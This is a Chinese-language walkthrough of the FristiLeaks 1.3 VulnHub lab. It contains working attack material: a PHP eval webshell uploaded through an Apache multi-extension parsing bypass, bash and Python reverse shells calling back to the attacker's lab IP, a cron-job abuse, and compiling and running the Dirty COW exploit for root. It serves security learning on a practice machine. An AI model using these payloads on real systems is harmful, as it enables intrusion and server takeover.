FristiLeaks 1.3: https://www.vulnhub.com/entry/fristileaks-13,133/
靶场:FristiLeaks 1.3靶场
攻击机:kali-linux-2024
1,在开启之前我们需要将靶机网络适配器改为NAT模式,并且对MAC地址进行手动编辑,VMware用户需要手动将靶机的MAC地址编辑为:08:00:27:A5:A6:76
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
靶机IP地址192.168.23.160,攻击机IP地址192.168.23.140
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.160
只开放了一个80端口,对应http服务,访问之
在右键查看页面源码
欢迎来到#Fristleaks,这是一个由@Ar0xA创建的快速黑客虚拟机。
目标:获取UID 0(root)并读取特殊标志文件。 时间框架:应该可以在4小时内完成。
4,再扫描网站后台子目录
存在/robots.txt存在敏感信息泄露
Disallow: /cola
Disallow: /sisi
Disallow: /beer
被骗了,都不是正确的页面
5,然后再扫描网站的指纹信息
whatweb -v 192.168.23.160
[ WebDAV ] 基于网络的分布式创作和版本控制(WebDAV)是一套基于超文本传输协议(HTTP)的方法,它促进了用户在编辑和管理存储在世界各地网络服务器上的文档和文件方面的协作。更多信息: http://en.wikipedia.org/wiki/WebDAV
6,都没有上面重大发现,最后在默认页面找到提示
访问对应的网站 http://192.168.23.160/fristi/
7,接下来还是进行信息收集,看看究竟是sql注入还是弱口令爆破。查看页面源码给予的两个提示
我们需要清理一下这个代码,以便投入生产环境。我留下了一些杂乱的东西,以便
于测试。
注意到特征是最后结尾存在两个等于号,猜测是base64编码。将密文写入txt,然后kali再进行解码操作
vim 1.txt
base64 -d 1.txt >2.txt
发生报错,但也因此知道了正确的文件格式是png。重新编码 base64 -d 1.txt >1.png
得到一张图片,结合第一张图片的留言,推测是用户名/密码:
eezeepz/kekkekkekkekkEkkEk,
8,尝试用户名密码登录
登录成功,点击uoload file超链接就会跳转到一个具有上传文件功能的网站
尝试一下上传文件功能
果然只允许上传png,jpg,gif文件
9,还是对这个站点进行指纹信息识别
whatweb -v http://192.168.23.160/fristi/upload.php
10,searchsploit检索有无针对Apache2.2.15版本的漏洞exp
没有,只能手动进行漏洞验证和漏洞利用了
11,先写一句话木马,后缀名改为png
<?php phpinfo();@eval($_POST['cmd'])?>
phpinfo()
- 在PHP中,phpinfo()函数用于输出关于PHP配置和环境的大量信息,包括PHP版本、服务器信息、已安装的扩展等。这在开发和调试阶段可能有用,但在生产环境中直接暴露这些信息可能会被攻击者利用来获取服务器的相关情报,从而寻找可利用的漏洞。
eval($_POST['cmd'])
- eval()函数会将传入的字符串作为PHP代码执行。这里它试图执行通过POST方法提交的名为cmd的变量中的内容。这种做法是极其危险的,因为如果攻击者能够控制cmd的值,就可以在服务器上执行任意的PHP代码,例如修改文件、获取数据库信息、甚至控制整个服务器。
- 前面的@符号是用于抑制错误信息显示,但这并不能解决安全问题,只是隐藏了可能出现的错误,使得攻击者更难被发现
然后浏览器挂上代理,burp suite截获文件上传请求包
右键发送repeater重放器,然后给文件后缀名为.php再发包
失败,这说明对于文件的过滤方法比较高明,存在于后端
Apache HTTPD多后缀解析漏洞
一、漏洞概述
Apache HTTPD支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。当运维人员给.php后缀增加了处理器(如AddHandler application/x - httpd - php.php )时,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞,此漏洞与Apache、php版本无关,属于用户配置不当造成的解析漏洞1234.
二、漏洞原理
- 配置导致的识别问题
- 由于管理员的错误配置(例如AddHandler application/x - httpd - php.php 这种配置方式),使得含有.php后缀(不必在最后)的文件就会被识别为PHP文件。这是因为Apache HTTPD支持多后缀特性,正常情况下这种多后缀配置是为了对不同后缀执行不同指令,但在这种错误配置下就产生了安全漏洞。例如,如果有一个文件名为test.php.jpg ,按照正常逻辑可能只是一个图片文件,但由于这个漏洞,会被当作PHP文件处理1234.
三、漏洞利用
- 绕过白名单限制
- 在文件上传场景中,如果服务器端设置了白名单只允许上传特定类型的文件(例如只允许上传.jpg等图片格式文件),攻击者可以构造类似1.php.jpg 这样的文件名,由于存在多后缀解析漏洞,其中含有.php后缀,就可能被当作PHP文件来解析。如果这个文件中写入了恶意的PHP代码(如phpinfo()),就可能导致恶意代码执行,从而获取服务器相关信息或者进行进一步的攻击行为12.
12,接下来的思路就在于,怎么绕过服务器的审查。这就需要利用Apache HTTPD多后缀解析漏洞。在 filename这里给文件名字加上 .png 的后缀达到绕过后端审查的目的。
上传成功,网站还给出了上传的路径为 /uploads 文件夹下。之后再通过apache的解析漏洞解析为php文件,这里直接访问http://192.168.23.160/fristi/uploads/1.php.png
13,配合上传的一句话木马,使用蚁剑来获得网站的webshell,密码是cmd
可以看到连接成功
14,仅仅使用蚁剑的webshell是不够用的,为了扩大战果还需要反弹shell到攻击机上面。就需要在蚁剑上面进行后台命令行管理操作
nc -e /bin/sh 192.168.23.140 4444 行不通换一个命令
sh -i >& /dev/tcp/192.168.23.140/4444 0>&1
- sh -i:
- 这里的sh是shell的一种,-i表示以交互模式(interactive mode)启动sh。在交互模式下,用户可以输入命令并立即得到响应,就像在正常的shell终端中操作一样。这使得攻击者在反弹shell成功建立后,可以像在本地操作目标主机一样操作目标系统的shell环境。这种交互性对于执行复杂的命令序列、查看文件系统、修改配置等操作非常重要。
- >& /dev/tcp/192.168.23.140/4444:
- >&是一个重定向操作符。在Linux中,标准输出(stdout)和标准错误输出(stderr)默认是分开处理的,但这里>&将标准输出和标准错误输出合并起来重定向。
- /dev/tcp/192.168.23.140/4444是一个特殊的设备文件表示形式。在Linux系统中,虽然它看起来像是一个文件路径,但实际上是一种用于创建TCP网络连接的特殊表示。当系统尝试对这个“文件”进行读写操作时,就相当于与指定IP地址(192.168.23.140)和端口(4444)建立TCP连接,并通过这个连接进行数据传输。这里就是将sh -i的输出(包括正常输出和错误输出)重定向到这个TCP连接上,以便将目标主机的shell输出发送到指定的远程主机(192.168.23.140的4444端口)。
- 0>&1:
- 在Linux中,文件描述符0代表标准输入(stdin),1代表标准输出(stdout)。0>&1表示将标准输入(0)重定向到标准输出(1)的来源。这里的作用是确保在反弹shell的场景下,输入输出的流向按照预期进行设置,使得远程主机能够正确地向目标主机的shell发送输入,并接收目标主机的输出。
反弹shell原理
- 通常情况下,在渗透测试或者网络攻击场景中,攻击者控制的远程主机(192.168.23.140)会在特定端口(4444)上进行监听。当目标主机执行这个命令时,它会尝试与远程主机建立TCP连接,并将自己的shell(sh -i)的输入输出重定向到这个连接上。这样一来,攻击者就可以通过在远程主机上的监听程序,获取目标主机shell的交互接口,从而能够在目标主机上执行命令,就好像直接在目标主机的终端上操作一样。
- 例如,攻击者可以查看目标主机的文件系统(如ls -al命令查看文件列表)、修改配置文件(如vi /etc/passwd修改密码文件,当然这可能需要足够的权限)或者执行其他恶意操作,这取决于攻击者的目的和在目标主机上所获得的权限。
15,与此同时攻击机要开启对4444端口的监听 nc -lvvp 4444
成功获得了靶机的shell。为了更方便操作,python脚本调用出交互式shell
16,然后进行信息收集
id
uname -a
lsb_release -a
在/home/eezeepz/notes.txt获得提示
我让你能够进行一些自动化检查,但只允许你访问 /usr/bin/* 系统二进制文件。不过,我已经将一些常用的命令复制到我的家目录:chmod、df、cat、echo、ps、grep、egrep,你可以从 /home/admin/ 使用它们。
记得在每个二进制文件前面指定完整路径!
只需在 /tmp/ 目录中放一个名为 "runthis" 的文件,每行一个命令。输出会写入 /tmp/ 目录下的文件 "cronresult"。它应该每分钟以我的账户权限运行一次。
17,根据提示其实就知道了需要利用被设置为定时任务的文件提权:在/tmp/中放入一个名为“runthis”的文件,其以admin用户定时执行任务,接下来的操作就是是可以利用这个漏洞拿到admin用户的shell。在kali上编写一个反弹shell脚本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.23.140",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
脚本功能是创建一个网络连接,并将标准输入、输出和错误输出(文件描述符0、1、2)重定向到网络连接,然后执行一个shell命令,这可能被用于远程控制受感染的机器。
- 导入模块
- 首先导入了 socket、subprocess 和 os 模块。socket 模块用于网络通信,subprocess 用于创建新的子进程并执行外部命令,os 模块提供了与操作系统交互的功能,如文件描述符操作。
- import socket,subprocess,os;
- 创建网络连接
- 创建了一个基于IPv4(AF_INET)和TCP(SOCK_STREAM)的套接字对象 s,然后连接到指定的IP地址(192.168.23.140)和端口(4444)。
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.23.140",4444));
- 重定向文件描述符
- 执行shell命令
- 使用 subprocess.call 函数执行 /bin/sh -i 命令,由于前面已经重定向了文件描述符,这个shell命令的输入和输出将通过网络连接进行交互,可能会使攻击者获得对受感染机器的shell访问权限。
- p = subprocess.call(["/bin/sh","-i"]);
然后在kali上面开启http服务,以便靶机下载shell.py
靶机上使用wget命令下载文件
18,向runthis中写入执行反弹shell的命令,监听端口可以拿到admin用户的shell
echo '/usr/bin/python /tmp/shell.py' > runthis
与此同时攻击机开启对4444端口的监听
成功横向移动到admin用户,还是python脚本获取可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
19,还是继续信息收集
发现一个python加密脚本和两个密文,需要我们破解加密算法再编写解密脚本继续解密
加密流程分析
- 首先,这个函数接受一个字符串作为输入(通过sys.argv[1] 获取命令行参数传入的字符串)。
- 然后,使用base64.b64encode函数对输入的字符串进行Base64编码。Base64编码是一种将二进制数据转换为可打印的ASCII字符的编码方式,它可以将任意的字节序列转换为由64个字符组成的字符集(A - Z、a - z、0 - 9、+和/)中的字符序列,在末尾可能会添加=作为填充。
- 接着,对Base64编码后的字符串进行反转操作([::-1]),这是一种Python中对序列(如字符串、列表等)进行反转的简洁语法。
- 最后,对反转后的Base64编码字符串使用rot13编码。rot13是一种简单的替换密码,它将字母表中的每个字母替换为13个位置之后的字母(循环替换,例如a替换为n,n替换为a)。
编写解密脚本
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print (cryptoResult)
传递密文就能够就能够直接解密
python decoder.py =RFn0AKnlMHMPIzpyuTI0ITG
python decoder.py mVGZ3O3omkJLmy2pcuTq
20,根据密码显示的内容,得到可能是用户fristigod的密码LetThereBeFristi!,尝试切换fristigod用户
21,查看能够执行的sudo文件,sudo -l
查看历史命令history,发现正好能够用于提取的sudo命令
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
那么就可以构造一个开启root权限的shell终端的命令
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
成功提权,获得flag
第二种方法,脏牛提权
“脏牛”漏洞(CVE-2016-5195),是一种影响 Linux 内核的本地提权漏洞,最早在 2016 年由安全研究人员发现并披露。这个漏洞可以让普通用户在不需要密码的情况下,通过利用特定的内核功能,获得管理员(root)权限。由于它对 Linux 系统的普遍影响以及攻击的简便性,脏牛漏洞在渗透测试中是一个常见的提权手段。
1. 漏洞原理
脏牛漏洞的核心是 Linux 内核中的一个内存管理缺陷,具体涉及内核在处理内存映射和文件写入时的竞态条件(race condition)。当一个普通用户尝试修改某些只读文件时,内核会在处理过程中进行内存映射,但没有适当的权限检查,导致攻击者可以利用这个竞态条件来修改文件内容并获得超级用户权限。
具体来说,攻击者可以利用脏牛漏洞对某些受保护的内存区域(如 /etc/passwd、/etc/shadow)进行修改,进而改变系统的权限控制,从而获取 root 权限。
2. 漏洞利用
脏牛漏洞的利用过程通常如下:
- 触发竞态条件:攻击者通过创建一个可以被内核访问的文件,并将文件的映射区域设置为“只读”。
- 写入内存:利用竞态条件,在内核进行映射和写入时,攻击者通过特定方式修改内存中的数据。
- 获得 root 权限:通过精心设计的利用代码,攻击者可以利用修改后的内存内容,获取到 root 权限。
脏牛漏洞的一个特点是,它可以通过普通用户权限来触发,并不需要特别的特权。
3. 漏洞修复
脏牛漏洞被披露后,Linux 内核开发团队迅速修复了这个问题。漏洞修复主要通过改进内存映射的权限检查、加固内核对文件操作的管理来避免竞态条件的产生。因此,更新到最新的内核版本是防止该漏洞被利用的关键。
4. 渗透测试中的应用
在渗透测试中,脏牛漏洞常被用来验证目标系统是否存在内核级的提权漏洞,尤其是在普通用户权限已经获得的情况下。如果渗透测试人员能够通过该漏洞提升为 root 权限,则可以进一步进行系统控制和数据泄露等操作。
5. 漏洞影响的系统
脏牛漏洞影响的范围较广,主要包括以下几个版本的 Linux 内核:
- Linux 2.6.22 到 Linux 4.8(修复版本为 4.9)
- Ubuntu、CentOS、Debian 等常见 Linux 发行版中普遍存在脏牛漏洞,尤其是在没有及时更新和修补的系统上。
6. 防御与缓解
- 升级内核:及时更新到已经修复脏牛漏洞的内核版本。
- 最小化权限:限制普通用户对敏感资源的访问,避免攻击者获得足够的权限来触发该漏洞。
- 使用 SELinux 或 AppArmor:这些安全模块可以加强对系统资源的控制,增加攻击者利用漏洞的难度。
- 定期安全扫描和审计:通过渗透测试、漏洞扫描工具等手段,及时发现并修复系统中的漏洞。
总结
脏牛漏洞是一个经典的 Linux 提权漏洞,利用内核的竞态条件允许攻击者从普通用户权限提升到 root 权限。渗透测试人员可以通过检查系统是否存在该漏洞来评估目标系统的安全性。防止此类攻击的最佳方法是及时更新内核和强化系统的权限管理。
1,首先查看dirty cow的exp
这里使用40839.c searchsploit 40839.c -m
2,攻击机上开启http服务
然后靶机上面下载exp文件
赋予执行权限,编译并且运行
chmod 777 40839.c
gcc -pthread 40839.c -o 40839 -lcrypt
./40839 123456
切换到firefart用户,密码123456 su firefart
最后成功提权